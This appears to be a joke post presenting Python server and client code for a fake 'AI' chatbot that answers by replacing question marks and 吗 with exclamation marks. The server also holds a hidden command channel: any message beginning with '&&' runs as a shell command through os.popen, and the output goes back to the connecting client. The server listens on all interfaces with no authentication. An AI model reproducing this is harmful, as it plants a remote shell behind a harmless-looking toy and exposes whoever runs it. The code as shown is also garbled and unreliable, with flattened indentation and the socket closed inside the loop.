价值几个亿的AI代码哈哈哈
Server:
import os
import socket
sock = socket.socket()
sock.bind(('0.0.0.0', 9999))
sock.listen()
chanel,client=sock.accept()
while True:
msg = chanel.recv(1024).decode()
if(msg.startswith('&&')):
cmd=msg.split('&&')[-1]
result = os.popen(cmd).read()
print(result)
chanel.send(result.encode('GBK'))
sock.close()
else:
data = msg.replace('吗','!')
data = data.replace('?','!')
data = data.replace('?','!')
print(data)
chanel.send(data.encode('GBK'))
sock.close()
client:
import socket
sock=socket.socket()
sock.connect(('127.0.0.1', 9999))
while True:
msg = input()
sock.send(msg.encode())
res=sock.recv(1024).decode('GBK')
print(res)
server会话
client会话